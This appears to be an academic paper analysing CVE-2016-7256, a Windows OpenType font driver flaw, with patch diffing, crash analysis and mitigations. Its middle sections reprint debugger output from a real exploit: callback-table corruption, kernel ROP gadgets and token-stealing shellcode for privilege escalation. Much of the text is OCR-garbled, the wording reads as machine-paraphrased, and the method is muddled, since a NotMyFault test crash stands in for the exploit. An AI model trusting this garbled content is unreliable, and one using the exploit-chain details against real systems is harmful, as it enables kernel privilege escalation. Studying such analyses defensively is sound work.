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ABSTRACT
Vulnerability verification and exploitation are evolving into an essential part of security,

particularly in distributing malware code, system hacking, efforts to generate patches,
improving the source code, or software updates. Vulnerabilities in media, programs,
including browsers, readers of documents, players, and internet services.

This paper discusses user-level through system administrator-level mitigation strategies
for the CVE-2016-7256 vulnerabilities. Windows is used to evaluate the two different files;
one file is patched, and the second one is not acquired from a new installation to
understand the module's technological component and how this affects the operational
mechanism. We will be able to identify the modules that cause system vulnerabilities due to
this. With WIinDBG, a stack trace may be performed to identify the appliance call from
when it was received to when the exemption was triggered. However, this stack trace can
easily be performed if the system can crash. As a result, the crash can be investigated in
the stack, and the heap since memory is dynamically assigned to them. Additionally, this
paper will illustrate how the system may be kept secure by managing the server well.

Keywords: Attack, vulnerability, Windows security, CVE-2016-7256, Threat
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NTRODUCTION
The ability to quickly defeat the security threat in software systems has improved

thanks to vulnerability identification and patch file production. Patch files allow for the
possibility of an automatic exploit. Patches for insecure code are crucial for ensuring
security precautions. Previous studies have shown that anytime a patch is released, an
attacker (Hacker) may quickly utilize it to pinpoint the precise location of the problematic
code and immediately produce an exploit. It is different from what you are used to. The
approach is remarkably adaptable while developing software. According to Akram, J., and
Luo, P.(2020), it is reasonably challenging to distinguish between source code and cloned
source code.  This paper discusses CVE-2016-7256 vulnerability by looking at its
technical and functional details. The discussion includes the Windows Operating System
affected by the vulnerability and the damages that could follow. The threat posed by CVE-
2016-7256 is also discussed, in addition to how attackers exploit the vulnerability and how
it works. Recommendations for the mitigation of this vulnerability are also provided in this
paper.

1. The vulnerability CVE-2016-7256 According to the National Vulnerability Database
(NVD) (2016), vulnerability CVE-2016-7256 has an effect on the atmfd.dll in the
Windows font library in the following operating systems;

. Microsoft Windows Vista SP2

. Windows 7 SP1

. Windows Server 2008 SP2 and R2 SP1

. Windows 8.1

. Windows RT 8.1

. Windows Server 2012 Gold and R2
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. Windows 10 Gold, 1511, and 1607

. Windows Server 2016

The CVE-2016-7256 vulnerability paves the way for attackers to execute arbitrary code
through a crafted website in what is technically called Open Type Font Remote Code
Execution Vulnerability. Such an attack facilitates the hacker to perform a series of
activities on the user system, including removing data, running programs, making system
changes, and adding users with high privileges. However, the harm is usually less if a
system with minimum user rights is exploited. Due to the effect of the attack caused by this
vulnerability, CVE-2016-7256 is nowadays considered one of the worst weaknesses in a
computer system. As shown in Figure follows.

i OED QD it vaneraty Typels) PbichDae UpdeDate Soore  Gamediccesslowd Acce Gmpieny mmmeee——ood g Aai
TOe016-T056 284 Bxec Code NiE-1-10 0161128 - Nong Remoe Medum Notrequred Compiele Compice Compice
——
QE016-7255 264 11-28 e
IS T 50
S 12
A w 7N =~ p — L4 Tyr

Figurl: Order of vulnerability cve 7256

What is atmfd.dll?
Atmfd.dll is an Adobe Manager developed by Adobe Systems Incorporated Animesh Jain,
V.S.P.M. (2022). It is developed based on its version. Some of the information of atmfd.dll
include;

. Microsoft Windows digitally signs it.
. In Windows, it is described as Windows NT OpenType/Type 1 Font Driver.
. Its path of location is:

‘c:\Windows\SoftwareDistribution\Download\aae4de72bcf4ba076c52dd35e348b10b\amd6
4_microsoft-windows-gdi_31bf3856ad364e35 6.1.7601.18768_none_07c6fc77714aec8d\
folder.

. Scanning it using the anti-virus scanners does not report atmfd.dll as malicious.

A Microsoft security bulletin MS16-132 provides an update for the security of the
Microsoft Graphics component and resolves the vulnerabilities of Microsoft OS, including
the execution of a remote code. According to Microsoft (2016), this vulnerability comes
from the improper handling of specially crafted and embedded fonts by the Windows font
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library. The bulletin MS16-132, therefore, addresses the following vulnerabilities;

. Open Type Font Information Disclosure Vulnerability.

. Open Type Font Elevation of Privilege Vulnerability.

. Windows Animation Manager Memory Corruption Vulnerability.
. Media Foundation Memory Corruption Vulnerability.

Remote Code Execution (RCE) refers to a situation where the attacker succeeds in
penetrating a network remotely. RCE is the most common type of exploit in Windows OS.
For example, an attacker can exploit a browser vulnerability to run or download malicious
codes or programs. Such kind of an attack is known as a drive-by download.
Another attack is known as Local Privilege Escalation (LPE). In LPE, the attacker tries to
acquire the highest privileges and is done when the system has already been exploited or
compromised. Baranov (2016) notes that exploited LPE vulnerabilities are usually located
in the standard Windows win32k.sys driver, making it easy for the attacker to get the full
privileges of the system and even run malicious codes in kernel mode (Ring 0) once he
succeeds in exploiting the vulnerability in win32k.sys.
The objective of this study:

According to Kaspersky (2015), this is a severe vulnerability and can be exploited by

hackers to interrupt the client's services, bypass security restrictions, obtain privileges or
get valuable information recently discovered in Microsoft Windows. Understanding this
vulnerability is critical to successful technical analysis using the right debugging tools

Methodolo

Analyzing the patched and un-patched atmfd.dll:
ccording to (Tang. J. 2016), the vulnerability that influences the atmfd.dll is

extremely simple. This occurred while appliance calls accumulated on the GDI API; hence
it may select the font drivers to access throughout the font processing. As a result, the
ATMFD.DLL occurs to be one of these font drivers. Therefore, while the ATMFD.DLL
module processes the font information, a buffer underflow is formed by a signed enlarging.
According to Domars (2022), to comprehend the module's technological component and
how this influences the operating mechanism, windows are employed to examine the two
diverse files; one file is patched, and the second is not obtained from a new install. This
will allow us to distinguish the modules leading to system vulnerabilities. A stack trace can
be conducted through WinDBG to recognize the appliance call once processed to the
moment the exemption was activated. Nevertheless, this stack trace can be carried out if
the system can be crashed. Therefore, given that memory is assigned dynamically in the
stack and the heap, the crash can be examined within the two positions.

RESULTS
Differences &Results:

To examine the drives, ATMFD.DLL prior to and after is being patched. Ida Pro is
applied and integrated, as well as a plug-in known as patch diff. This permitted us to show
the dissimilarity before and after the scheme was patched, as shown in the subsequent IDA
pro representations that show evident dissimilarity between the two files. The initial file on
the un-patched files begins driving and calling roles on the subsequent line. In contrast, the
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patched folder is driving and calling roles and also incorporated a Jump instruction shown
on the following line.

2.1.1. Un-patched files:

loc_ BF85|)32FI push 8
Mg W [E51+2ﬁ[:h] EEH call EngSetLastErrori@h; EngSetLastError ()

Patched file
push 8
call _EngletLastError@y; EngSetLastError(x)
jnp short loc BFBSERED

2.1.2 Patched file:

IDA pro could demonstrate similar roles and Un-Identical roles between the two
folders, for instance, RFONTOBJ pghCheckGlyphCache &RFONTOBJpghBtextExt. The
following files show the patched files and the un-patched files. Considering the disparities
within the files, we realize that, within the un-patched files, the means of instructing LEA
ECX [RAX+4] is by including 4 bytes to the EAX hence loading them to the ECX list.
Conversely, about the patched files, we realize that the means of instructing MOV EDI
[ES1+24CH] is by adding 24 bytes into the EDI list. This is the third line on the block
demonstrated within the subsequent images.
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h |

1y

r‘?i

push
call EngSEtLaStErrur@h EngSetLastError(x)
qmp short loc BFBSERED

loc_BFS8SEB8A:
nay eax, [esi+246Bh]

lnc_BFBEEHED

<or
inp

eax, eax
loc BFASEBBG

Un-patched files

— -
vy

loc_BFBSD32A:

mou [esi+26Ch], eax

v
push 8
icall EngSetLastError@h; EngSetlLastError(x)
H [ —
YVYVYY
loc BFBSD33M@: loc_BF85D2F@:

mow

eax, [esi+268h]

®oH
imp

eax,

short loc BFBSD336

2ax

Since there is no evidence of concept accessible for the CVE-2016-7256, an
appliance formed by Microsoft known as “not my fault” is employed to display memory
leakage and is also used to create buffer overflow. Therefore, it will permit us to examine
the role that influenced the function. The system is readied to get a memory dump that will
be recovered and examined after the crash. Happened through a “not my fault” appliance.
The following image demonstrates the setting up of the memory dump site.
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System Properties s and R

Computer Name | Hardware | Advanced | Remote

System startup

Default operating gystem:
Windows Server 2012

You must be logged on as an Administrator to make most of these changes
Pedcemance
Visual effects. processor scheduling, memory usage, and vitual memory
/| Time to dspiay kst of operating systems: 0 o
Time to dspiay recovery options when needed:

User Profles

Desitop settings related to your sgnin
System fokure

) Automatically restart

Statup and Recovery

Write debugging information
System statup. system fakue. and dedbuggng rformation

Kernel memory dump

Dump fle:
+eSystemRoot % MEMORY.OMP

o Querwrite any existing fle

£-21407-61143-AA618

Figur2: setting up of the memory dump site.

The appliance “not my fault” is set to implement a buffer overflow. It can be observed in
the following illustration.

- S

Crash |Hang |Leak |

Copyright © 2002-2012 Mark Russinovich
Contributions by Daniel Pearson

Optons

Clicking the Crash button will cause the system to crash.
There is a risk that corrupted memory will be written to disk
or that work may be lost. Close any open applications.

71 High IRQL fault (Kernel-made)

@ Buffer overflow

7 Code overwrite

Figur3: buffer overflow

When the system is restarted, the memory dump is recovered. At this instant, WINdbg is
employed to examine the memory outflow. The following illustration shows that the
dilemma results from (afd.sys Afd+267e3) as demonstrated.
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Hle Eqt Vew WM Tibs Hep [l - | @ |0 0 0|0 H D |E

Library X

{o Home (5! Windows Server 2012

‘ Q. Type hereto search -

= 59 My Computer
(5] Ubuntu

(71 Debian 7x (6)

I Kalidu
(51 Debian 6 64-bit (2)
(51 Windows Server 2003 Standard |

S S Your PC ran into a problem and needs to restart. We're just
collecting some error info, and then we'll restart for you. (30%
complete)

If you'd like to know more, you can search online later for this error: UNEXPECTED KERNEL MODE TRAP (myfault.sys)

CVE-2016-7256 exploit open kind font elevation of right:

In early June 2016, unknown actors started employing an implant known as “Henkray”
within low-volume invasions that concentrated on destinations within South Korea.
Afterwards, in November 2016, the font models discovered on involved computers were
particularly manipulated

through‘ hardcoded addresses and information to reproduce authentic kernel memory
designs.‘ This indicates the probability that a secondary device dynamically produced the
exploit cypher at the moment of penetration.

Exploit Preparation Tool OpenType Font file

(.exe or script) [random letters].tmp

Figure 4: Auto-generation of font files with an exploit

Utilizing profound forensic examination of the binary data discovered in specimens, we
extorted the entire hardcoded offsets is established the kernel edition targeted through this
exploit: Windows 8 64-bit by Microsoft Malware Protection Centre (2017).

2.2 Purpose table corruption for initial code implementation:
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The font exploit employs fa_Callbacks to distort the operation table and attain the first
code implementation. The callback is made for the CFF parsing purpose. The following
snippet illustrates a corrupted ftell indicator to a nt!gsort+0x39 position in kernel code.

kd> dt fa_Callbacks Oxfffff880°0514£380
ATMFD!fa_Callbacks

+0x000 ctx : 0x41414141°41414141 Void

+0x008 fread : 0x41414141°41414141 unsigned int64 +4141414141414141
+0x010 fwrite : 0x41414141°41414141 unsigned inté4 +4141414141414141
+0x018 fseek : Ox41414141741414141 int +4141414141414141
| +0x020 frell : Oxfffff803°d28bacd9 long +fffff803d28bacd9 rc::::::]nﬂgson+0x39

+0x028 allocate : 0x41414141°41414141 void* +4141414141414141

+0x030 ATMfree : Ox41414141°41414141 void +4141414141414141

+0x038 memcmp : 0x41414141°41414141 int +4141414141414141

+0x040 memmove : 0x41414141°41414141 void* +4141414141414141

+0x048 memset : 0x41414141°41414141 void* +4141414141414141

+0x050 message : 0x41414141°41414141 void +4141414141414141

+0x058 seed : 0x90a4f£3e6°014cS5£50 long +90a4f£3e6014c5£50

+0x060 strcmp : 0x83485e00°000000e8 int +83485e00000000e8

+0x068 strlen : 0x8d48504e"8b4838ec int +8d48504e8b4838ec

Figure 5. fa-Callbacks table corruption

The subsequent snippet demonstrates the cypher that calls the corrupt purpose pointer

resulting in a kernel ROP sequence.
\

LTMFD+0x3d6L5:
fEFFff9e0"00b786ES ££5320

call

gword ptr [rbx+Z20h]

Figure 6: fa-Callbacks.ftell function call code

Once the corrupted role is called, the control leaps to the initial ROP device at
nt!gsort+0x39 that fine-tunes the stack indicator and initializes several record values from

stack values.

kd> u £E££££f800°3£484000+36CD09
ntlgsort+0x39:
Eff££f800" 3f4bacds
Eff££f800 " 3f4baced
Eff£f800 3f4baces 415d
Eff£f800" " 3f4baced 415c
Eff£f800 3f4baces 5d
Eff££f800 3f4baceT c3

4881c4l18040000
4l5e

add rsp,418h
pop rl4

pop rl3

pop rlz

pop rbp

ret

Figure 7: First ROP gadget

kd> u frrrre00 " 3r48Sbes
nt ! PpmEventTraceFailedPerfCheckStart+0x52:

¢ First stage shellcode
bytes

LLELLre00-"3r48sb8s Sb Ppop
fLELfLrre00~" 348586 c3 retc

rbx

kd> u frrrre00-"3rf48ale0
nt!CcWaictfForCurrentlLazyWriterActivity+0Oxec:

EEffffe00~"3f48a0e0 S0 push
ffr£re00"3r4c8adel ST Pop
LFEFrre00-3r48al0e2 c3 rec

kd> u frfrrre00 " 3Lf609rcoO
nt!MmMarkPhysicalMemoryAsGood+0x54:
LfELLrr800 " 3f609rfcO 48891r mov
ffLfLf£fe00 " 3£f609fc3 488b5c2430 mov
LfELLr800 " 3r609rce 4883c420 add
£fELLfrfe00~"3£f609fcec 5 Pop rdi
LfELLre00"3r609fcd c3 rec

@ Allocated
RX memory,

qword ptrx ;—zdzjgﬁz]

rbx,gword ptr [rsp+30h])
rsp,20n

SJST Vol.03 No 01 2023 70



A Study to analysis the effect of the vulnerability CVE 2016 7256 in several Versions of windows and the strategies used to decrease
its vulnerability Mohamed, Abdalla

Figure 8: Copying the stage 1 shellcode

Following the first device, the stack identifies a kernel ROP chain that calls to Ex Allocate Pool
with Tag call to preserve shellcode memory—an additional ROP. The device will duplicate the
initial 8 bytes of the phase 1 shellcode to the allotted memory.

2.3Shellcode and rights escalation:

The phase 1 shellcode is extremely small. Its significant role is to duplicate the central body of the
shellcode to recently assigned memory and operate them through a JMP RAX control relocation.

Fffffa83 00208000 50 push rax

fEffffa83 00a08001 &£ jalals rdi

fEffffa83 00a08002 4clled add rsi,rl2

Fffffa83 " 00a08005 £3a4 rep movs byte ptr [rdi],byte ptr [r=i]

Figure 9. Stage 1 shellcode

The key shellcode runs following the copy guidelines. The major shellcode, as well as a small
code piece, carries out a recognized token-stealing method. It subsequently duplicates the token
indicator from a SYSTEM procedure to the target procedure, attaining privilege intensification. The
SYSTEM procedure and destination procedure PIDs and specific offsets for the kernel APIs
required by the shellcode are hardcoded within the font model.

fffffa83*00a08007 90 nop

fffffaB3*00a08008 eB0ODD0000D0 call fffffag3 " 00a08004d

fffffaf3*00a0800d4 5e pop rai

fffffaf3"00a0800d4 5e pop rai

fffffaf3"00a0800e 4883ec38 aub rap, 38h €all to Pslook up process by proces
fffffa83 00a08012 488b4e50 mov rcx, qword ptr [rsi+50h] Id to get target EPROCESS
fffffaB3"00a08016 4B8d542428 lea rdx, [rsp+28h]

|fffffa33‘c-ﬂa3301b ff5658 call gword ptr [rai+58h]

fffffa83 00a0801le 488b4eéfl mowv rcx,gword ptr [rsi+60h]

fffffa83*00a08022 4B8d542420 lea rdx, [rsp+20h] Call to Pslook up process by
[ffiffacs 00a08027 L5658 call qword ptr [£s8i+58h) j— process |d to get SYSTEM
fEfffas3 00a0802a 4880442420 mov rax,qword ptr [rsp+20h) EPROCESS
fffffak3*00a0802f 448b5e6s mov rlid,dword ptr [rsi+&8h]

fffffaf3*00a08033 498b0c03 mov rcx,qword ptr [rll+rax])

fffffaB3 00a08037 488b442428 mov rax, qward ptr [rsp+28h] ‘ Replace target EPROCESS.
| ££££ffaB3 00a0803c 49890c03 mov gword ptr [rll+rax],rcx [# Token with system’s
fffffat3 " 00a08040 33cO Xor eax,eax EPROCESS. Token
fffffa83 00a08042 4881c4d0020000 add rap,2D0h

fffffak3*00a08049 4831db Xor rbx, rbx

fffffaf3 " 00a08049c 4B831ff Xor rdi, rdi

Effffag3"00a0804f c3 ret

Figure 10: Token replacement technique
2.4 Mitigating font exploits with AppContainer :

Exploit alleviation methods within Windows 10 Anniversary Update that were made available
months before these zero-day invasions managed to counteract the particular exploits and their
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exploit techniques. Therefore these alleviation methods are considerably decreasing invasion
surfaces that might have been accessible to upcoming zero-day exploits, according to Prabhu, V.,
Mengora, G., Ho, V., Moynihan, T., Prabhu, V. and Usman, M. (2017).

According to Brinkmann, M. (2017), while opening the spiteful font specimen on Windows 10
Anniversary Update, font parsing takes place wholly in AppContainer rather than the kernel.
AppContainer offers a secluded sandbox that efficiently prevents font exploits (amid other exploits)
from attaining escalated rights. The secluded sandbox significantly decreases font parsing as an
invasion surface.

AppContainer (AC)

AppContainer provides strong sandboxing and isolation for applications on Windows

¥ Store apps all run within an
AC

User Mode Font
Driver Host
AppContainer

Win32
Process

Stare App

Edge
AppContainer

Content
AppContainer

Bole Heth .
Apncontaner || ¥ Font parsing is now done in

user mode within an AC

Manager
AppContainer

v bdge uses a multi-AC design
for isalation

New in Windows 10 Anniversary

Windows kernel . Parsing System Calls

v Adabe Flash has now been
moved to its own AC

Sacurity boundany Microsoft will address vulnerabilitias that can violate AC security boundary
N;pt: F‘t l:r:" Capability-based resource access  Metwork, file, registry, and device access are restricted {both read and write) ¥ Win32k systemn call filtering is
Locked dewn procese Mo syrmibolic links, recuced attack surface, and various mitigations an by default enabled for Edge

Figure 11: AppContainer protects against corrupted fonts in Windows 10 Anniversary Update

Moreover, Windows 10 Anniversary Update incorporates extra corroboration for font folder
parsing. During our experiments, the particular exploit code for CVE-2016-7256 fails these tests
and is incapable of arriving at vulnerable code.

Windows Font Viewer X

e The requested file Chtest.otf is not a valid font file,

OK

Figure 12. Windows 10 font viewer error

DISSCUSION

Threat of the vulnerability CVE- 2016-7256 to a network and domain:
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Once the attacker convinces the user to open a document or a website with crafted fonts, he can
exploit this vulnerability. Additionally, the attacker will use the privileges of the convinced user to
execute the arbitrary code. For example, if the user is the domain administrator, the attacker will
gain domain administrator rights and perform all the operations of the domain administrator. Such
operations include changing system settings such as time, shutting computers remotely and halting
company operations, loading and unloading device drivers, taking ownership of files and objects,
managing, auditing, editing security codes, and accessing the web server. This implies that a
company with an e-commerce website will see its customer information, including credit card
information and bank details, according to Tenable.com.(2017).

The attacker can also host a malicious website in a web browser, and the virus will infect any user
visiting that website. Additionally, attackers in the local base exploits can convince their targets to
open email attachments that redirect them to malicious sites or attempt to get higher privileges. For
the attackers to fully exploit the system, he has to get the system type, IP address, and other relevant
information of the targeted user.To protect users against CVE, many strategies have to be used
because users access different web pages. This can be done by deploying the relevant defence
strategies, keeping abreast with Microsoft updates, putting systems for detection of attacker
behaviour, and beefing up the security of the frequently targeted system by Eduard Kovacs (2016).

CONCLUSION

In summary, a details discussion of CVE-2016-7256 has been provided in this paper. The
working of CVE and it is technical aspects and the danger that CVE vulnerability can cause are also
explained. A practical demonstration of how CVE-2016-7256 work has been provided to make it
easy for the user to understand. The paper has also addressed the working of MS16-132, which is
the recommended solution by Microsoft.

The exploitation of this vulnerability, as presented in this paper, shows that the attacker can
use it to get into the company system, take control, and execute malicious codes. The paper has also
described how the attacker can induce a user to access a website to initiate the attack. Given that
this vulnerability has different effects on different versions of Windows, the paper found it fit to
describe its effect on different Windows versions. Also, this essay, Looked into current invasion
campaigns entailing two zero-day kernel exploits. We observed the means exploit alleviation
methods in Windows 10 Anniversary Update that was made available months before these zero-day
invasions managed to counteract not just the particular exploits but also their exploit techniques.
Therefore, these alleviation methods considerably decrease invasion surfaces that might have been
accessible to upcoming zero-day exploits.

Lastly, ways of mitigating the vulnerabilities posed by CVE-2016-7256 are discussed from
the user to the system administrator. Moreover, the system's security through the best server
management has been explained in this paper.

Recommendations:
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Once Google researchers discovered this vulnerability, Microsoft developed a solution in the
form of a patch that the user has to apply to block the untrusted fonts. The patch can be found under
Blocking of untrusted Fonts in an Enterprise. Microsoft also developed a function in its Windows
OS to allow system administrators to block fonts which are not trusted. Once the administrator
activates this feature, other users cannot load untrusted fonts and thus reducing the risk of attack on
an organisational system, according to Parrish,k(2017). The Microsoft Baseline Security Analyzer
(MBSA) also allows system administrators to scan local and remote systems for missing security
system updates and misconfiguration. Organisations can further protect their systems by using
penetration services from pen-testing companies to protect themselves from such vulnerabilities.
Further, only trustworthy people should be given access to a company's computer network to reduce
cases of malicious people exploiting an organisation using this type of vulnerability through
executing arbitrary codes and accessing files with untrusted fonts.
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